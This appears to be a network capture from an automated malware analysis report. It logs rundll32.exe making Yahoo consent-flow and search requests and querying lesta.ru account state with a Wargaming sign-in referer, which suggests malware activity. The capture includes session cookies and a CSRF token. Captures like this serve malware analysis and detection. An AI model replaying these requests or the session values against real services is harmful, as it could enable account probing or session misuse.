2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 66 62 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 68 6f 6d 65 2d 72 65 73 65 72 76 65 64 5f 61 64 73 5f 64 65 73 6b 74 6f 70 5f 74 65 73 74 32 2c 54 4e 42 45 30 30 30 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 6e 64 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 62 75 63 6b 65 74 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 38 38 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 39 34 64 Data Ascii: fb2<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bkthome-reserved_ads_desktop_test2,TNBE000,MimicProviderListv2-copy,send_heimdall_homepage_bucket,seamless ua-chrome ua-88.0 isModern" lang=en-US><head><script nonce=94d
2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 68 6f 6f 21 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 6b 65 79 77 6f 72 64 73 20 63 6f 6e 74 65 6e 74 3d 22 79 61 68 6f 6f 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 20 70 61 67 65 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 70 61 67 65 2c 20 79 61 68 6f 6f 20 73 65 61 72 63 68 2c 20 79 61 68 6f 6f 20 6d 61 69 6c 2c 20 79 61 68 6f 6f 20 6d 65 73 73 65 6e 67 65 72 2c 20 79 61 68 6f 6f 20 67 61 6d 65 73 2c 20 6e 65 77 73 2c 20 66 69 6e 61 6e 63 65 2c 20 73 70 6f 72 74 2c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 66 62 3a 61 70 70 5f 69 64 20 63 6f 6e 74 65 6e 74 3d 34 35 38 35 38 34 32 38 38 32 35 37 32 34 31 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 69 6d 61 67 65 20 63 6f 6e 74 65 6e 74 3d 68 74 74 70 73 3a Data Ascii: hoo!"><meta name=keywords content="yahoo, yahoo home page, yahoo homepage, yahoo search, yahoo mail, yahoo messenger, yahoo games, news, finance, sport, entertainment"><meta property=fb:app_id content=458584288257241><meta property=og:image content=https:
2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 72 7a 2f 6c 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 Data Ascii: .yahoo.com/"><link rel="shortcut icon" href="https://s.yimg.com/rz/l/favicon.ico"><link rel="dns-prefetch" href="//geo.yahoo.com"><link rel="preconnect" href="//geo.yahoo.com"><link rel="dns-prefetch" href="//geo.query.yahoo.com"><link rel="preconnect" hr
2023-12-10 16:50:28 UTC	125	IN	Data Raw: 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 6e 67 79 2d 66 6f 6e 74 73 2f 59 61 68 6f 6f 53 61 6e 73 2d 56 46 2d 57 65 62 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a Data Ascii: rel="preload" href="https://s.yimg.com/cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2" as="font" type="font/woff2" crossorigin>
2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 31 33 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 39 34 64 38 66 64 61 66 36 31 31 34 34 63 31 38 30 65 65 31 66 66 61 32 30 38 64 65 32 62 32 33 64 65 31 35 39 66 31 32 66 34 66 37 36 64 34 37 66 31 36 38 61 34 34 34 39 62 32 31 66 65 61 38 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 72 2f 66 70 2f 63 73 73 2f 66 75 73 69 6f 6e 2e 61 74 6f 6d 69 63 2e 32 38 35 31 36 36 32 37 39 37 61 64 30 32 38 36 64 37 39 39 65 64 37 65 33 62 32 65 64 33 31 65 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 66 70 2d 68 72 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 68 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 Data Ascii: 13ff9<style type="text/css" nonce="94d8fdaf61144c180ee1ffa208de2b23de159f12f4f76d47f168a4449b21fea8">/* https://s.yimg.com/dr/fp/css/fusion.atomic.2851662797ad0286d799ed7e3b2ed31e.css */ #atomic .Bdc$--fp-hr${border-color:var(--fp-hr)}#atomic .Bdc\(\$
2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 66 3a 66 6f 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 38 32 38 61 39 33 5c 29 7b 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 75 72 70 6c Data Ascii: background\)\:f:focus,#atomic .Bgc$--fp-background$\:h:hover{background-color:var(--fp-background)}#atomic .C$\#828a93${color:#828a93}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeholder{color:var(--battleship)}#atomic .C\(--blurpl
2023-12-10 16:50:28 UTC	1300	IN	Data Raw: 31 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 31 37 70 78 5c 29 7b 67 61 70 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 32 30 70 78 5c 29 7b 67 61 70 3a 32 30 70 78 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 48 5c 28 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 36 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 37 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 32 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 32 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 34 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 5c 25 5c 29 7b 68 65 Data Ascii: 14px}#atomic .Gp$17px${gap:17px}#atomic .Gp$20px${gap:20px}.active .active_H$8px${height:8px!important}#atomic .H$160px${height:160px}#atomic .H$17px${height:17px}#atomic .H$26px${height:26px}#atomic .H$40\%${height:40%}#atomic .H$60\%${he

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50016	52.21.201.77	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:36 UTC	886	OUT	GET /v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 HTTP/1.1 Host: consent.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeu Referer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:36 UTC	857	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 45 78 70 69 72 65 73 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 6c 6f 63 6b 2d 61 6c 6c 2d 6d 69 78 65 64 2d 63 6f 6e 74 65 6e 74 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 3b 20 6d 65 64 69 61 2d 73 72 63 20 27 6e 6f Data Ascii: HTTP/1.1 200 OKExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Security-Policy-Report-Only: default-src 'none'; block-all-mixed-content; connect-src 'self'; frame-ancestors 'none'; img-src 'self' https://s.yimg.com; media-src 'no
2023-12-10 16:50:36 UTC	15527	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 6c 74 72 20 20 79 61 68 6f 6f 2d 70 61 67 65 20 68 65 69 67 68 74 31 30 30 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 59 61 68 6f 6f 20 69 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 59 61 68 6f 6f 20 66 61 6d 69 6c 79 20 6f 66 20 62 72 61 6e 64 73 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: <!DOCTYPE html><html dir="ltr" class="ltr yahoo-page height100"><head> <title>Yahoo is part of the Yahoo family of brands</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" > <meta name="viewport" content="width=device-w
2023-12-10 16:50:37 UTC	16384	IN	Data Raw: 70 78 7d 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 63 72 75 6e 63 68 3a 6e 6f 74 28 2e 5f 79 62 5f 31 38 7a 39 30 29 20 2e 5f 79 62 5f 31 62 77 69 67 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 38 66 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 79 62 2d 73 69 64 65 6e 61 76 2d 63 6c 6f 73 65 2d 62 74 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 70 78 7d 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 63 72 75 6e 63 68 3a 6e 6f 74 28 2e 5f 79 62 5f 31 38 7a 39 30 29 20 2e 5f 79 62 5f 31 62 77 69 67 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 Data Ascii: px}.ybar-ytheme-crunch:not(._yb_18z90) ._yb_1bwig:hover{background-color:#f5f8fa;background-color:var(--yb-sidenav-close-btn-background);border-radius:100px}.ybar-ytheme-crunch:not(._yb_18z90) ._yb_1bwig:active{background-color:#e0e4e9;background-color:va
2023-12-10 16:50:37 UTC	16384	IN	Data Raw: 2c 2e 5f 79 62 5f 31 66 62 76 70 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 20 2e 5f 79 62 5f 31 66 62 76 70 2c 2e 5f 79 62 5f 31 6b 36 38 7a 2c 2e 5f 79 62 5f 6d 64 6a 66 31 2c 2e 5f 79 62 5f 31 6f 65 69 6b 2c 2e 5f 79 62 5f 31 65 6f 69 75 2c 2e 5f 79 62 5f 76 62 69 62 6e 2c 2e 5f 79 62 5f 31 33 6d 6f 73 2c 2e 5f 79 62 5f 31 35 33 78 61 2c 2e 5f 79 62 5f 35 73 6f 6e 77 2c 2e 5f 79 62 5f 31 65 62 76 65 2c 2e 5f 79 62 5f 31 63 63 78 62 2c 2e 5f 79 62 5f 62 66 31 34 61 2c 2e 5f 79 62 5f 70 6e 66 6e 30 2c 2e 5f 79 62 5f 31 74 76 71 34 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 20 2e 5f 79 62 5f 31 32 34 7a 6a 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 2e 79 62 61 72 2d 70 72 6f 70 65 72 74 79 2d 68 6f 6d 65 70 61 67 Data Ascii: ,._yb_1fbvp,.ybar-ytheme-fuji2 ._yb_1fbvp,._yb_1k68z,._yb_mdjf1,._yb_1oeik,._yb_1eoiu,._yb_vbibn,._yb_13mos,._yb_153xa,._yb_5sonw,._yb_1ebve,._yb_1ccxb,._yb_bf14a,._yb_pnfn0,._yb_1tvq4,.ybar-ytheme-fuji2 ._yb_124zj,.ybar-ytheme-fuji2.ybar-property-homepag
2023-12-10 16:50:37 UTC	6235	IN	Data Raw: 61 64 69 6e 67 22 3e 59 61 68 6f 6f 20 66 61 6d 69 6c 79 20 6f 66 20 62 72 61 6e 64 73 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 73 74 61 74 69 63 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 73 76 67 22 20 61 6c 74 3d 22 22 3e 3c 73 70 61 6e 20 69 64 3d 22 63 6f 6e 73 65 6e 74 2d 79 61 68 6f 6f 2d 74 6f 6f 6c 74 69 70 22 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 70 6f 70 75 70 2d 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 54 68 65 20 73 69 74 65 73 20 61 6e 64 20 61 70 70 73 20 74 68 61 74 20 77 65 20 6f 77 6e 20 61 6e 64 20 6f 70 65 72 61 74 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 59 61 68 6f 6f 20 61 6e 64 20 41 4f 4c 2c 20 61 6e 64 20 6f 75 72 20 64 69 67 69 74 61 6c 20 61 64 76 65 72 74 69 73 69 6e 67 20 73 65 72 76 69 63 65 2c 20 59 61 68 6f Data Ascii: ading">Yahoo family of brands</span><img src="../static/images/close.svg" alt=""><span id="consent-yahoo-tooltip" class="info-popup-description">The sites and apps that we own and operate, including Yahoo and AOL, and our digital advertising service, Yaho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50015	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:36 UTC	457	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:50:37 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:50:36 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:50:37 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 4d 73 54 79 46 77 53 4b 38 52 64 79 4f 69 70 75 78 4f 70 51 65 33 39 30 47 6d 63 58 68 6d 77 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "MsTyFwSK8RdyOipuxOpQe390GmcXhmw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50022	52.21.201.77	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:40 UTC	871	OUT	POST /v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 HTTP/1.1 Host: consent.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeu Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Content-Length: 595 Content-Type: application/x-www-form-urlencoded
2023-12-10 16:50:40 UTC	595	OUT	Data Raw: 63 73 72 66 54 6f 6b 65 6e 3d 56 68 32 30 5a 36 34 26 73 65 73 73 69 6f 6e 49 64 3d 31 5f 63 63 2d 73 65 73 73 69 6f 6e 5f 66 35 62 36 34 65 30 39 2d 30 38 30 65 2d 34 36 64 66 2d 61 37 38 39 2d 61 31 39 66 37 63 32 33 62 38 66 39 26 6f 72 69 67 69 6e 61 6c 44 6f 6e 65 55 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 6b 2e 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 61 72 63 68 25 33 46 70 25 33 44 66 6f 61 6d 65 78 25 32 42 70 72 69 6e 74 65 64 25 32 42 62 6f 61 72 64 73 25 32 36 66 72 25 33 44 73 66 70 25 32 36 66 72 32 25 33 44 25 32 36 69 73 63 71 72 79 25 33 44 25 32 36 76 63 25 33 44 25 32 36 67 75 63 63 6f 75 6e 74 65 72 25 33 44 31 25 32 36 67 75 63 65 5f 72 65 66 65 72 72 65 72 25 33 44 61 48 52 30 63 48 4d 36 4c 79 39 Data Ascii: csrfToken=Vh20Z64&sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&originalDoneUrl=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D%26guccounter%3D1%26guce_referrer%3DaHR0cHM6Ly9
2023-12-10 16:50:41 UTC	435	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 46 43 3d 41 51 41 42 43 41 46 6c 64 7a 64 6c 6e 6b 4d 67 61 67 54 44 26 73 3d 41 51 41 41 41 47 36 43 55 5a 74 61 26 67 3d 5a 58 58 73 61 67 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 30 34 3a 35 30 3a 33 39 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 63 6f 6e 73 65 6e 74 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 65 63 75 72 65 0d 0a 53 65 72 76 65 72 3a 20 67 75 63 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 Data Ascii: HTTP/1.1 302 FoundConnection: closeSet-Cookie: CFC=AQABCAFldzdlnkMgagTD&s=AQAAAG6CUZta&g=ZXXsag; Expires=Tue, 10 Dec 2024 04:50:39 GMT; Domain=consent.yahoo.com; Path=/; SecureServer: guceStrict-Transport-Security: max-age=31536000; includeSubDoma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50027	52.44.77.224	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:44 UTC	802	OUT	GET /copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GB HTTP/1.1 Host: guce.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeu Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:44 UTC	1275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 47 55 43 3d 41 51 41 42 43 41 46 6c 64 7a 4e 6c 6e 55 49 67 61 67 54 44 26 73 3d 41 51 41 41 41 44 52 41 31 72 6b 75 26 67 3d 5a 58 58 73 61 67 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 30 34 3a 35 30 3a 33 39 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 44 37 73 64 57 55 43 45 45 4b 5f 4f 7a 71 43 36 50 72 54 6e 30 46 31 45 5a 74 77 59 50 49 46 45 67 41 42 43 41 45 7a 64 32 57 